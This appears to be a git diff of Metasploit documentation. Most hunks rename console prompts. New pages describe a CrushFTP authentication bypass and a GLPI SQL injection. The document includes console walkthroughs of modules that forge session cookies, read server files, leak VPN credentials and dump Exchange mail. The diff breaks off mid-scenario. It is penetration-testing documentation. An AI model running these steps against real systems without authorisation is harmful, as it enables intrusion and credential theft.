/home/administrator/.msf4/loot/20190206165015_default_192.168.1.1_cisco.rv.config_434637.txt [*] Scanned 1 of 1 hosts (100% complete) @@ -76,11 +76,11 @@ msf5 auxiliary(gather/cisco_rv320_config) > run #### Against newer firmware (>= 1.4.2.19), on the LAN interface, port 443: ``` -msf5 > -msf5 > use auxiliary/gather/cisco_rv320_config -msf5 auxiliary(gather/cisco_rv320_config) > set RHOSTS 192.168.1.1 +msf > +msf > use auxiliary/gather/cisco_rv320_config +msf auxiliary(gather/cisco_rv320_config) > set RHOSTS 192.168.1.1 RHOSTS => 192.168.1.1 -msf5 auxiliary(gather/cisco_rv320_config) > run +msf auxiliary(gather/cisco_rv320_config) > run [-] Auxiliary aborted due to failure: not-vulnerable: Response suggests device is patched [*] Auxiliary module execution completed @@ -89,7 +89,7 @@ msf5 auxiliary(gather/cisco_rv320_config) > run #### If module succeeds, check the database: ``` -msf5 auxiliary(gather/cisco_rv320_config) > hosts +msf auxiliary(gather/cisco_rv320_config) > hosts Hosts ===== @@ -101,7 +101,7 @@ address mac name os_name os_flavor os_sp purpose ``` ``` -msf5 auxiliary(gather/cisco_rv320_config) > creds +msf auxiliary(gather/cisco_rv320_config) > creds Credentials =========== @@ -112,7 +112,7 @@ host origin service public private ``` ``` -msf5 auxiliary(gather/cisco_rv320_config) > loot +msf auxiliary(gather/cisco_rv320_config) > loot Loot ==== diff --git a/documentation/modules/auxiliary/gather/cloud_lookup.md b/documentation/modules/auxiliary/gather/cloud_lookup.md index 73f11b2404477..992883a78d138 100644 --- a/documentation/modules/auxiliary/gather/cloud_lookup.md +++ b/documentation/modules/auxiliary/gather/cloud_lookup.md @@ -34,9 +34,9 @@ You can use a custom string to perform the comparison. This is the hostname [fqdn] on which the website responds. But this can also be a domain. -msf5 auxiliary(gather/cloud_lookup) > set hostname www.zataz.com +msf auxiliary(gather/cloud_lookup) > set hostname www.zataz.com --or-- -msf5 auxiliary(gather/cloud_lookup) > set hostname discordapp.com +msf auxiliary(gather/cloud_lookup) > set hostname discordapp.com ### IPBLACKLIST_FILE @@ -85,9 +85,9 @@ HTTP(s) request timeout. Default: 8 If successful, you must be able to obtain the IP(s) address of the website as follows: ``` -msf5 auxiliary(gather/cloud_lookup) > set verbose true +msf auxiliary(gather/cloud_lookup) > set verbose true verbose => true -msf5 auxiliary(gather/cloud_lookup) > run +msf auxiliary(gather/cloud_lookup) > run [*] Selected action: Amazon CloudFlare [*] Passive gathering information... @@ -124,9 +124,9 @@ parameter of the HTTP header. For example: ``` -msf5 auxiliary(gather/cloud_lookup) > set hostname www.exodata.fr +msf auxiliary(gather/cloud_lookup) > set hostname www.exodata.fr hostname => www.exodata.fr -msf5 auxiliary(gather/cloud_lookup) > run +msf auxiliary(gather/cloud_lookup) > run [*] Selected action: Amazon CloudFlare [*] Passive gathering information... @@ -152,11 +152,11 @@ msf5 auxiliary(gather/cloud_lookup) > run *or* ``` -msf5 auxiliary(gather/cloud_lookup) > set verbose false +msf auxiliary(gather/cloud_lookup) > set verbose false verbose => false -msf5 auxiliary(gather/cloud_lookup) > set hostname www.ingensecurity.com +msf auxiliary(gather/cloud_lookup) > set hostname www.ingensecurity.com hostname => www.ingensecurity.com -msf5 auxiliary(gather/cloud_lookup) > run +msf auxiliary(gather/cloud_lookup) > run [*] Passive gathering information... [*] * ViewDNS.info: 2 IP address found(s). @@ -182,30 +182,30 @@ a page other than the index page. For example: ``` -msf5 > use auxiliary/gather/cloud_lookup -msf5 auxiliary(gather/cloud_lookup) > set HOSTNAME www.zataz.com +msf > use auxiliary/gather/cloud_lookup +msf auxiliary(gather/cloud_lookup) > set HOSTNAME www.zataz.com hostname => www.zataz.com -msf5 auxiliary(gather/cloud_lookup) > set URIPATH /contacter/ +msf auxiliary(gather/cloud_lookup) > set URIPATH /contacter/ uripath => /contacter/ -msf5 auxiliary(gather/cloud_lookup) > set compstr Contacter ZATAZ +msf auxiliary(gather/cloud_lookup) > set compstr Contacter ZATAZ compstr => Contacter ZATAZ -msf5 auxiliary(gather/cloud_lookup) > run +msf auxiliary(gather/cloud_lookup) > run ... ``` *or* ``` -msf5 > use auxiliary/gather/cloud_lookup -msf5 auxiliary(gather/cloud_lookup) > set HOSTNAME www.zataz.com +msf > use auxiliary/gather/cloud_lookup +msf auxiliary(gather/cloud_lookup) > set HOSTNAME www.zataz.com hostname => www.zataz.com -msf5 auxiliary(gather/cloud_lookup) > set URIPATH /contacter/ +msf auxiliary(gather/cloud_lookup) > set URIPATH /contacter/ uripath => /contacter/ -msf5 auxiliary(gather/cloud_lookup) > set compstr Contacter ZATAZ +msf auxiliary(gather/cloud_lookup) > set compstr Contacter ZATAZ compstr => Contacter ZATAZ -msf5 auxiliary(gather/cloud_lookup) > set tag html +msf auxiliary(gather/cloud_lookup) > set tag html tag => html -msf5 auxiliary(gather/cloud_lookup) > run +msf auxiliary(gather/cloud_lookup) > run ... ``` diff --git a/documentation/modules/auxiliary/gather/coldfusion_pms_servlet_file_read.md b/documentation/modules/auxiliary/gather/coldfusion_pms_servlet_file_read.md index f193fd7d0934b..64f19f3e52f01 100644 --- a/documentation/modules/auxiliary/gather/coldfusion_pms_servlet_file_read.md +++ b/documentation/modules/auxiliary/gather/coldfusion_pms_servlet_file_read.md @@ -21,7 +21,7 @@ UUID attackers can hit the /pms endpoint in order to exploit the Arbitrary File ### ColdFusion Version 2023.0.0.330468 running on Linux ``` -msf6 auxiliary(gather/coldfusion_pms_servlet_file_read) > run +msf auxiliary(gather/coldfusion_pms_servlet_file_read) > run [*] Reloading module... [*] Running module against 127.0.0.1 @@ -56,4 +56,4 @@ daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin [+] Results saved to: /Users/jheysel/.msf4/loot/20240403192500_default_127.0.0.1_coldfusion.file_475871.txt [*] Auxiliary module execution completed -``` \ No newline at end of file +``` diff --git a/documentation/modules/auxiliary/gather/crushftp_authbypass_cve_2025_2825.md b/documentation/modules/auxiliary/gather/crushftp_authbypass_cve_2025_2825.md new file mode 100644 index 0000000000000..99b34acf2c2a4 --- /dev/null +++ b/documentation/modules/auxiliary/gather/crushftp_authbypass_cve_2025_2825.md @@ -0,0 +1,67 @@ +## Vulnerable Application +This module leverages an authentication bypass in CrushFTP 11 < 11.3.1 and 10 < 10.8.4. Attackers +with knowledge of a valid username can provide a crafted S3 authentication header to the CrushFTP web API +to authenticate as that user without valid credentials. When successfully executed, the exploit will +output working session cookies for the target user account. This vulnerability is tracked as CVE-2025-2825. +More information can be found in the [Rapid7 AttackerKB Analysis](https://attackerkb.com/topics/k0EgiL9Psz/cve-2025-2825/rapid7-analysis). + +## Options + +### TARGETUSER +The target account to forge a session cookie for (default: crushadmin). + +## Testing +To set up a test environment: +1. Download a vulnerable 11.3.0 'CrushFTP.jar' file (SHA256: 6fbca7826d967bc56effb376743ff7921df907c576da74252844db9aeb0385a4). +2. Configure `CRUSH_DIR` in `crushftp_init.sh` to point to the correct install directory. +3. Execute `java -jar CrushFTP.jar` to show a local client GUI interface that can be used to set up an admin account. +4. Execute `sudo crushftp_init.sh start` to launch the software on Linux or Mac. If on Windows, run `CrushFTP.exe` as an administrator. +5. Follow the verification steps below. + +## Verification Steps +1. Start msfconsole +2. `use auxiliary/gather/crushftp_authbypass_cve_2025_2825` +3. `set RHOSTS ` +4. `set RPORT ` +5. `set TARGETUSER ` +7. `run` + +## Scenarios +### CrushFTP on Windows, Linux, or Mac +``` +msf > use auxiliary/gather/crushftp_authbypass_cve_2025_2825 +msf auxiliary(gather/crushftp_authbypass_cve_2025_2825) > set RHOSTS 192.168.181.129 +RHOSTS => 192.168.181.129 +msf auxiliary(gather/crushftp_authbypass_cve_2025_2825) > set RPORT 8080 +RPORT => 8080 +msf auxiliary(gather/crushftp_authbypass_cve_2025_2825) > set TARGETUSER crushadmin +TARGETUSER => crushadmin +msf auxiliary(gather/crushftp_authbypass_cve_2025_2825) > show options + +Module options (auxiliary/gather/crushftp_authbypass_cve_2025_2825): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 192.168.181.129 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 8080 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI / yes The URI path to CrushFTP + TARGETUSER crushadmin yes The target account to forge a session cookie for + VHOST no HTTP server virtual host + + +View the full module info with the info, or info -d command. + +msf auxiliary(gather/crushftp_authbypass_cve_2025_2825) > run +[*] Running module against 192.168.181.129 + +[*] Confirming the target is a CrushFTP web service +[*] Attempting to bypass authentication +[+] The target returned the expected empty response and is likely vulnerable +[*] Attempting to access an authenticated API endpoint with the malicious session cookie +[+] Authentication bypass succeeded! Cookie string generated +Cookie: CrushAuth=1743641873_PrrQtXKr3iuXBCqQIPcIbfx20w5uW3; currentAuth=5uW3 + +[*] Auxiliary module execution completed +``` diff --git a/documentation/modules/auxiliary/gather/crushftp_fileread_cve_2024_4040.md b/documentation/modules/auxiliary/gather/crushftp_fileread_cve_2024_4040.md index e7425f2f7e8cd..a7297286d82df 100644 --- a/documentation/modules/auxiliary/gather/crushftp_fileread_cve_2024_4040.md +++ b/documentation/modules/auxiliary/gather/crushftp_fileread_cve_2024_4040.md @@ -39,7 +39,7 @@ To set up a test environment: ## Scenarios ### CrushFTP on Windows, Linux, or Mac ``` -msf6 auxiliary(gather/crushftp_fileread_cve_2024_4040) > show options +msf auxiliary(gather/crushftp_fileread_cve_2024_4040) > show options Module options (auxiliary/gather/crushftp_fileread_cve_2024_4040): @@ -60,11 +60,11 @@ Module options (auxiliary/gather/crushftp_fileread_cve_2024_4040): View the full module info with the info, or info -d command. -msf6 auxiliary(gather/crushftp_fileread_cve_2024_4040) > set RHOSTS 127.0.0.1 +msf auxiliary(gather/crushftp_fileread_cve_2024_4040) > set RHOSTS 127.0.0.1 RHOSTS => 127.0.0.1 -msf6 auxiliary(gather/crushftp_fileread_cve_2024_4040) > check +msf auxiliary(gather/crushftp_fileread_cve_2024_4040) > check [+] 127.0.0.1:8080 - The target is vulnerable. Server-side template injection successful! -msf6 auxiliary(gather/crushftp_fileread_cve_2024_4040) > run +msf auxiliary(gather/crushftp_fileread_cve_2024_4040) > run [*] Running module against 127.0.0.1 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/auxiliary/gather/cve_2021_27850_apache_tapestry_hmac_key.md b/documentation/modules/auxiliary/gather/cve_2021_27850_apache_tapestry_hmac_key.md index 6eb1ff0504c67..5e97a3f11a2fd 100644 --- a/documentation/modules/auxiliary/gather/cve_2021_27850_apache_tapestry_hmac_key.md +++ b/documentation/modules/auxiliary/gather/cve_2021_27850_apache_tapestry_hmac_key.md @@ -34,15 +34,15 @@ This is not a required option and by default the value is `AppModule.class` whic ## Scenarios ``` -msf6 > use auxiliary/gather/cve_2021_27850_apache_tapestry_hmac_key -msf6 auxiliary(gather/cve_2021_27850_apache_tapestry_hmac_key) > set rhost 172.16.215.155rhost => 172.16.215.155 -msf6 auxiliary(gather/cve_2021_27850_apache_tapestry_hmac_key) > set targeturi /hotels +msf > use auxiliary/gather/cve_2021_27850_apache_tapestry_hmac_key +msf auxiliary(gather/cve_2021_27850_apache_tapestry_hmac_key) > set rhost 172.16.215.155rhost => 172.16.215.155 +msf auxiliary(gather/cve_2021_27850_apache_tapestry_hmac_key) > set targeturi /hotels targeturi => /hotels -msf6 auxiliary(gather/cve_2021_27850_apache_tapestry_hmac_key) > check +msf auxiliary(gather/cve_2021_27850_apache_tapestry_hmac_key) > check [+] Java file leak at 172.16.215.155:8080/hotels/assets/app/bf78ed9f/services/AppModule.class/ [+] 172.16.215.155:8080 - The target is vulnerable. -msf6 auxiliary(gather/cve_2021_27850_apache_tapestry_hmac_key) > run +msf auxiliary(gather/cve_2021_27850_apache_tapestry_hmac_key) > run [*] Running module against 172.16.215.155 [+] Apache Tapestry class file saved at /user/.msf4/loot/20210721173200_default_172.16.215.155_tapestry.AppModu_493080.bin. diff --git a/documentation/modules/auxiliary/gather/dolibarr_list_creds_sqli.md b/documentation/modules/auxiliary/gather/dolibarr_list_creds_sqli.md index e1358573bdd87..af18ccbfecf9b 100644 --- a/documentation/modules/auxiliary/gather/dolibarr_list_creds_sqli.md +++ b/documentation/modules/auxiliary/gather/dolibarr_list_creds_sqli.md @@ -26,16 +26,16 @@ ``` - msf5 > use auxiliary/gather/dolibarr_list_creds_sqli - msf5 auxiliary(gather/dolibarr_list_creds_sqli) > set username test + msf > use auxiliary/gather/dolibarr_list_creds_sqli + msf auxiliary(gather/dolibarr_list_creds_sqli) > set username test username => test - msf5 auxiliary(gather/dolibarr_list_creds_sqli) > set password blah + msf auxiliary(gather/dolibarr_list_creds_sqli) > set password blah password => blah - msf5 auxiliary(gather/dolibarr_list_creds_sqli) > set targeturi /dolibarr + msf auxiliary(gather/dolibarr_list_creds_sqli) > set targeturi /dolibarr targeturi => /dolibarr - msf5 auxiliary(gather/dolibarr_list_creds_sqli) > set rhosts 192.168.37.228 + msf auxiliary(gather/dolibarr_list_creds_sqli) > set rhosts 192.168.37.228 rhosts => 192.168.37.228 - msf5 auxiliary(gather/dolibarr_list_creds_sqli) > run + msf auxiliary(gather/dolibarr_list_creds_sqli) > run [*] Logging in... [+] Successfully logged into Dolibarr diff --git a/documentation/modules/auxiliary/gather/elasticsearch_enum.md b/documentation/modules/auxiliary/gather/elasticsearch_enum.md index 4e53bfbd66dac..b75b46d3c22b8 100644 --- a/documentation/modules/auxiliary/gather/elasticsearch_enum.md +++ b/documentation/modules/auxiliary/gather/elasticsearch_enum.md @@ -51,17 +51,17 @@ The following instructions assume you are beginning with a fresh Kali installati ## Scenarios ### Elasticsearch 7.9.1 on Docker ``` -msf6 > use auxiliary/gather/elasticsearch_enum -msf6 auxiliary(gather/elasticsearch/enum) > set ssl false +msf > use auxiliary/gather/elasticsearch_enum +msf auxiliary(gather/elasticsearch/enum) > set ssl false [!] Changing the SSL option's value may require changing RPORT! ssl => false -msf6 auxiliary(gather/elasticsearch/enum) > set password esbackup-password +msf auxiliary(gather/elasticsearch/enum) > set password esbackup-password password => esbackup-password -msf6 auxiliary(gather/elasticsearch/enum) > set username elastic +msf auxiliary(gather/elasticsearch/enum) > set username elastic username => elastic -msf6 auxiliary(gather/elasticsearch/enum) > set rhosts 127.0.0.1 +msf auxiliary(gather/elasticsearch/enum) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf6 auxiliary(gather/elasticsearch/enum) > run +msf auxiliary(gather/elasticsearch/enum) > run [+] Elastic Information =================== diff --git a/documentation/modules/auxiliary/gather/exchange_proxylogon_collector.md b/documentation/modules/auxiliary/gather/exchange_proxylogon_collector.md index 0abd403d3556f..72a1afda96f5d 100644 --- a/documentation/modules/auxiliary/gather/exchange_proxylogon_collector.md +++ b/documentation/modules/auxiliary/gather/exchange_proxylogon_collector.md @@ -70,7 +70,7 @@ Dump user emails from exchange server. ## Scenarios ``` -msf6 auxiliary(gather/exchange_proxylogon_collector) > options +msf auxiliary(gather/exchange_proxylogon_collector) > options Module options (auxiliary/gather/exchange_proxylogon_collector): @@ -95,7 +95,7 @@ Auxiliary action: Dump (Emails) Dump user emails from exchange server -msf6 auxiliary(gather/exchange_proxylogon_collector) > run +msf auxiliary(gather/exchange_proxylogon_collector) > run [*] Running module against 172.20.2.110 [*] https://172.20.2.110:443 - Attempt to exploit for CVE-2021-26855 @@ -129,9 +129,9 @@ msf6 auxiliary(gather/exchange_proxylogon_collector) > run [+] * file saved to /home/mekhalleh/.msf4/loot/20210312120226_default_172.20.2.110_gaston.lagaffep_524052.txt [*] [*] Auxiliary module execution completed -msf6 auxiliary(gather/exchange_proxylogon_collector) > set action Dump\ (Contacts) +msf auxiliary(gather/exchange_proxylogon_collector) > set action Dump\ (Contacts) action => Dump (Contacts) -msf6 auxiliary(gather/exchange_proxylogon_collector) > run +msf auxiliary(gather/exchange_proxylogon_collector) > run [*] Running module against 172.20.2.110 [*] https://172.20.2.110:443 - Attempt to exploit for CVE-2021-26855 @@ -150,7 +150,7 @@ msf6 auxiliary(gather/exchange_proxylogon_collector) > run [*] https://172.20.2.110:443 - Processing dump of 1 items [+] * file saved to /home/mekhalleh/.msf4/loot/20210312120243_default_172.20.2.110_gaston.lagaffep_160567.txt [*] Auxiliary module execution completed -msf6 auxiliary(gather/exchange_proxylogon_collector) > +msf auxiliary(gather/exchange_proxylogon_collector) > ``` ## References diff --git a/documentation/modules/auxiliary/gather/f5_bigip_cookie_disclosure.md b/documentation/modules/auxiliary/gather/f5_bigip_cookie_disclosure.md index 7afaf2dc87ee1..f2b210231e97c 100644 --- a/documentation/modules/auxiliary/gather/f5_bigip_cookie_disclosure.md +++ b/documentation/modules/auxiliary/gather/f5_bigip_cookie_disclosure.md @@ -21,25 +21,25 @@ and backend servers' IP addresses and ports) through cookies inserted by the BIG ### F5 BIP-IP load balancing cookie not found ``` -msf5 > use auxiliary/gather/f5_bigip_cookie_disclosure -msf5 auxiliary(gather/f5_bigip_cookie_disclosure) > set RHOSTS www.example.com +msf > use auxiliary/gather/f5_bigip_cookie_disclosure +msf auxiliary(gather/f5_bigip_cookie_disclosure) > set RHOSTS www.example.com RHOSTS => www.example.com -msf5 auxiliary(gather/f5_bigip_cookie_disclosure) > run +msf auxiliary(gather/f5_bigip_cookie_disclosure) > run [*] Running module against 93.184.216.34 [*] Starting request / [-] F5 BIG-IP load balancing cookie not found [*] Auxiliary module execution completed -msf5 auxiliary(gather/f5_bigip_cookie_disclosure) > +msf auxiliary(gather/f5_bigip_cookie_disclosure) > ``` ### F5 BIP-IP load balancing cookie found ``` -msf5 > use auxiliary/gather/f5_bigip_cookie_disclosure -msf5 auxiliary(gather/f5_bigip_cookie_disclosure) > set RHOSTS vulnerable-target.com +msf > use auxiliary/gather/f5_bigip_cookie_disclosure +msf auxiliary(gather/f5_bigip_cookie_disclosure) > set RHOSTS vulnerable-target.com RHOSTS => vulnerable-target.com -msf5 auxiliary(gather/f5_bigip_cookie_disclosure) > run +msf auxiliary(gather/f5_bigip_cookie_disclosure) > run [*] Running module against 1.1.1.1 [*] Starting request / @@ -47,7 +47,7 @@ msf5 auxiliary(gather/f5_bigip_cookie_disclosure) > run [+] Load balancing pool name "~DMZ~EXAMPLE~vulnarable-target-443_pool" found [+] Backend 10.1.105.72:443 found [*] Auxiliary module execution completed -msf5 auxiliary(gather/f5_bigip_cookie_disclosure) > notes +msf auxiliary(gather/f5_bigip_cookie_disclosure) > notes Notes ===== @@ -57,5 +57,5 @@ Notes 2019-08-20 21:21:02 UTC 1.1.1.1 f5_load_balancer_cookie_name "BIGipServer~DMZ~EXAMPLE~vulnarable-target-443_pool" 2019-08-20 21:21:02 UTC 1.1.1.1 f5_load_balancer_pool_name "~DMZ~EXAMPLE~vulnarable-target-443_pool" 2019-08-20 21:21:02 UTC 1.1.1.1 f5_load_balancer_backends [{:host=>"10.1.105.72", :port=>443}] -msf5 auxiliary(gather/f5_bigip_cookie_disclosure) > +msf auxiliary(gather/f5_bigip_cookie_disclosure) > ``` diff --git a/documentation/modules/auxiliary/gather/fortios_vpnssl_traversal_creds_leak.md b/documentation/modules/auxiliary/gather/fortios_vpnssl_traversal_creds_leak.md index 6d4c63a72c95c..10f91ebb9cce5 100644 --- a/documentation/modules/auxiliary/gather/fortios_vpnssl_traversal_creds_leak.md +++ b/documentation/modules/auxiliary/gather/fortios_vpnssl_traversal_creds_leak.md @@ -30,8 +30,8 @@ If set, then store gathered credentials into the Metasploit creds database. ### FortiOS 6.0 ``` -msf6 > use auxiliary/gather/fortios_vpnssl_traversal_creds_leak -msf6 auxiliary(gather/fortios_vpnssl_traversal_creds_leak) > show options +msf > use auxiliary/gather/fortios_vpnssl_traversal_creds_leak +msf auxiliary(gather/fortios_vpnssl_traversal_creds_leak) > show options Module options (auxiliary/gather/fortios_vpnssl_traversal_creds_leak): @@ -47,9 +47,9 @@ Module options (auxiliary/gather/fortios_vpnssl_traversal_creds_leak): THREADS 1 yes The number of concurrent threads (max one per host) VHOST no HTTP server virtual host -msf6 auxiliary(gather/fortios_vpnssl_traversal_creds_leak) > set RHOSTS *redacted* +msf auxiliary(gather/fortios_vpnssl_traversal_creds_leak) > set RHOSTS *redacted* RHOSTS => *redacted* -msf6 auxiliary(gather/fortios_vpnssl_traversal_creds_leak) > run +msf auxiliary(gather/fortios_vpnssl_traversal_creds_leak) > run [*] https://*redacted*:10443 - Trying to connect. [+] https://*redacted*:10443 - Vulnerable! @@ -57,7 +57,7 @@ msf6 auxiliary(gather/fortios_vpnssl_traversal_creds_leak) > run [+] https://*redacted*:10443 - 1 credential(s) found! [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(gather/fortios_vpnssl_traversal_creds_leak) > creds +msf auxiliary(gather/fortios_vpnssl_traversal_creds_leak) > creds Credentials =========== @@ -65,10 +65,10 @@ host origin service public private realm pri ---- ------ ------- ------ ------- ----- ------------ ---------- *redacted* *redacted* 10443/tcp (https) admin *redacted* Password -msf6 auxiliary(gather/fortios_vpnssl_traversal_creds_leak) > cat /home/gwillcox/.msf4/loot/20210226142747_default_*redacted*__761592.txt +msf auxiliary(gather/fortios_vpnssl_traversal_creds_leak) > cat /home/gwillcox/.msf4/loot/20210226142747_default_*redacted*__761592.txt [*] exec: cat /home/gwillcox/.msf4/loot/20210226142747_default_*redacted*__761592.txt var fgt_lang = -�/V^Pҽ�w���V^��V^��V^*redacted*admin*redacted*RemoteUSersfull-accessroot�бmsf6 auxiliary(gather/fortios_vpnssl_traversal_creds_leak) > +�/V^Pҽ�w���V^��V^��V^*redacted*admin*redacted*RemoteUSersfull-accessroot�бmsf auxiliary(gather/fortios_vpnssl_traversal_creds_leak) > ``` diff --git a/documentation/modules/auxiliary/gather/get_user_spns.md b/documentation/modules/auxiliary/gather/get_user_spns.md deleted file mode 100644 index d9a8000bbba79..0000000000000 --- a/documentation/modules/auxiliary/gather/get_user_spns.md +++ /dev/null @@ -1,31 +0,0 @@ -## Description - -This module will try to find Service Principal Names (SPN) that are associated with normal user accounts on the specified domain and then submit requests to retrieve Ticket Granting Service (TGS) tickets for those accounts, which may be partially encrypted with the SPNs NTLM hash. After retrieving the TGS tickets, offline brute forcing attacks can be performed to retrieve the passwords for the SPN accounts. - -## Verification Steps - -To avoid library/version conflict, it would be useful to have a pipenv virtual environment. - -* `pipenv --two && pipenv shell` -* Follow the [impacket installation steps](https://github.com/CoreSecurity/impacket#installing) to install the required libraries. -* Have a domain user account credentials -* `./msfconsole -q -x 'use auxiliary/gather/get_user_spns; set rhosts ; set smbuser ; set smbpass ; set smbdomain ; run'` -* Get Hashes - -## Scenarios - -``` -$ ./msfconsole -q -x 'use auxiliary/gather/get_user_spns; set rhosts ; set smbuser ; set smbpass ; set smbdomain ; run' -rhosts => -smbuser => -smbpass => -smbdomain => -[*] Running for ... -[*] Total of records returned -[+] ServicePrincipalName Name MemberOf PasswordLastSet LastLogon -[+] ------------------------------------------------ ---------- -------------------------------------------------------------------------------- ------------------- ------------------- -[+] SPN... User... List... DateTime... Time... -[+] $krb5tgs$23$*user$realm$test/spn*$ -[*] Scanned 1 of 1 hosts (100% complete) -[*] Auxiliary module execution completed -``` diff --git a/documentation/modules/auxiliary/gather/gitlab_tags_rss_feed_email_disclosure.md b/documentation/modules/auxiliary/gather/gitlab_tags_rss_feed_email_disclosure.md index f2ef6b9363c99..ddda47586100d 100644 --- a/documentation/modules/auxiliary/gather/gitlab_tags_rss_feed_email_disclosure.md +++ b/documentation/modules/auxiliary/gather/gitlab_tags_rss_feed_email_disclosure.md @@ -32,10 +32,10 @@ like to target, you would need to set that here. ## Scenarios ### Scrape all Workspaces/Projects ``` -msf6 > use auxiliary/gather/gitlab_tags_rss_info_disclosure -msf6 auxiliary(gather/gitlab_tags_rss_info_disclosure) > set RHOSTS 127.0.0.1 +msf > use auxiliary/gather/gitlab_tags_rss_info_disclosure +msf auxiliary(gather/gitlab_tags_rss_info_disclosure) > set RHOSTS 127.0.0.1 RHOSTS => 127.0.0.1 -msf6 auxiliary(gather/gitlab_tags_rss_info_disclosure) > run +msf auxiliary(gather/gitlab_tags_rss_info_disclosure) > run [*] Running module against 127.0.0.1 [+] [2024.02.09-11:18:23] Scraping ALL projects... @@ -57,11 +57,11 @@ msf6 auxiliary(gather/gitlab_tags_rss_info_disclosure) > run ``` ### Specify Project ``` -msf6 > use auxiliary/gather/gitlab_tags_rss_info_disclosure -msf6 auxiliary(gather/gitlab_tags_rss_info_disclosure) > set RHOSTS 127.0.0.1 -msf6 auxiliary(gather/gitlab_tags_rss_info_disclosure) > set TARGETPROJECT Workspace1/Project1 +msf > use auxiliary/gather/gitlab_tags_rss_info_disclosure +msf auxiliary(gather/gitlab_tags_rss_info_disclosure) > set RHOSTS 127.0.0.1 +msf auxiliary(gather/gitlab_tags_rss_info_disclosure) > set TARGETPROJECT Workspace1/Project1 TARGETPROJECT => Workspace1/Project1 -msf6 auxiliary(gather/gitlab_tags_rss_info_disclosure) > run +msf auxiliary(gather/gitlab_tags_rss_info_disclosure) > run [*] Running module against 127.0.0.1 [*] [2024.02.09-11:44:43] Check RSS tags feed for: Workspace1/Project1 diff --git a/documentation/modules/auxiliary/gather/glpi_inventory_plugin_unauth_sqli.md b/documentation/modules/auxiliary/gather/glpi_inventory_plugin_unauth_sqli.md new file mode 100644 index 0000000000000..7657d33d0f377 --- /dev/null +++ b/documentation/modules/auxiliary/gather/glpi_inventory_plugin_unauth_sqli.md @@ -0,0 +1,154 @@ +## Vulnerable Application +GLPI <= 1.0.18 fails to properly sanitize user supplied data when sent inside a `SimpleXMLElement` +(available to unauthenticated users), prior to using it in a dynamically constructed SQL query. +As a result, unauthenticated attackers can conduct an SQL injection attack to dump sensitive +data from the backend database such as usernames and password hashes. + +In order for GLPI to be exploitable the GLPI Inventory plugin must be installed and enabled, and the "Enable Inventory" +radio button inside the administration configuration also must be checked. + +### Setup on Ubuntu 22.04 + +Install PHP dependencies: +``` +sudo add-apt-repository ppa:ondrej/php +sudo apt install apache2 php8.3 php8.3-curl php8.3-zip php8.3-gd php8.3-intl \ + php8.3-intl php-pear php8.3-imagick php-bz2 php8.3-imap php-memcache php8.3-pspell \ + php8.3-tidy php8.3-xmlrpc php8.3-xsl php8.3-mbstring php8.3-ldap php-cas php-apcu \ + libapache2-mod-php8.3 php8.3-mysql mariadb-server +``` + +Ensure mariadb and apache are installed and running: +``` +sudo systemctl status apache2 +sudo systemctl status mariadb +``` + +Run the mysql secure installation script, input defaults and your desired username password: +``` +sudo mysql_secure_installation +``` + +Connect to the database: +``` +sudo mysql -u root -p +``` + +Create a database user `msfuser` and a database named `glpi`: +``` +CREATE USER 'msfuser'@'localhost' IDENTIFIED BY 'notpassword'; +CREATE DATABASE glpi; +GRANT ALL PRIVILEGES ON glpi.* TO 'msfuser'@'localhost'; +FLUSH PRIVILEGES; +EXIT; +``` + +Download the vulnerable version of GLPI, extract it and move it to `/var/www/html`: +``` +wget https://github.com/glpi-project/glpi/releases/download/10.0.17/glpi-10.0.17.tgz +tar -xvf glpi-10.0.17.tgz +sudo mv glpi /var/www/html/ +``` + +Download the vulnerable inventory plugin: +``` +cd /var/www/html/glpi/plugins +sudo wget https://github.com/glpi-project/glpi-inventory-plugin/releases/download/1.4.0/glpi-glpiinventory-1.4.0.tar.bz2 +sudo tar -xvjf glpi-glpiinventory-1.4.0.tar.bz2 +``` + +Set the necessary permissions: +``` +sudo chmod 755 -R /var/www/html/ +sudo chown www-data:www-data -R /var/www/html/ +``` + +Edit sites-available: +``` +sudo vim /etc/apache2/sites-available/glpi.conf +``` + +Paste: +``` + + ServerAdmin admin@your_domain.com + DocumentRoot /var/www/html/glpi + ServerName your-domain.com + + + Options FollowSymlinks + AllowOverride All + Require all granted + + + ErrorLog ${APACHE_LOG_DIR}/your-domain.com_error.log + CustomLog ${APACHE_LOG_DIR}/your-domain.com_access.log combined + + +``` + +Create the following symlink, rewrite and restart: +``` +sudo ln -s /etc/apache2/sites-available/glpi.conf /etc/apache2/sites-enabled/glpi.conf +sudo a2enmod rewrite +sudo systemctl restart apache2 +``` + +The application should be now available at `http://127.0.0.1/glpi`, navigate there in a browser to complete the setup wizard. +Warnings in the `Checking of the compatibility of your environment with the execution of GLPI` can be ignored, click continue. +It will ask you for the database credentials created above, input them and select the `glpi` database created above. + +Once complete you'll be brought to a login page, authenticate using the default credentials `glpi`/`glpi`. + +On the left hand side select and expand `Administration` in the dropdown select `Inventory`. +On the right hand side select `Enable Inventory`, then `Save` at the bottom. + +On the left hand side select and expand `Setup` in the dropdown select `Plugins`. +Near the bottom of the screen find the `GLPI Inventory` plugin and under `Actions` click the install button (Folder icon with `+` symbol). +After installing the plugin a pop up will appear in the bottom right and ask if you want to enable the plugin, enable it. + +Now the application should be vulnerable. + +## Options + +### DB_COLUMNS +The number of columns in the database. Can vary between versions, adjust this if exploit does not work initially. + +### MAX_ENTRIES +The maximum number of entries to dump from the database. More entries will increase module runtime. + +## Verification Steps + +1. Start msfconsole. +1. Do: `use gather/glpi_inventory_plugin_unauth_sqli`. +1. Set the `RHOST`. +1. Set `MAX_ENTRIES` to `1` to speed up module run time for verification. +1. Run the module. +1. Receive a table with one username and it's corresponding password hash. + +## Scenarios +### GLPI 10.0.17 running on Ubuntu 22.04 +``` +msf > use gather/glpi_inventory_plugin_unauth_sqli +msf auxiliary(gather/glpi_inventory_plugin_unauth_sqli) > set rhost 172.16.199.130 +rhost => 172.16.199.130 +msf auxiliary(gather/glpi_inventory_plugin_unauth_sqli) > exploit +[*] Reloading module... +[*] Running module against 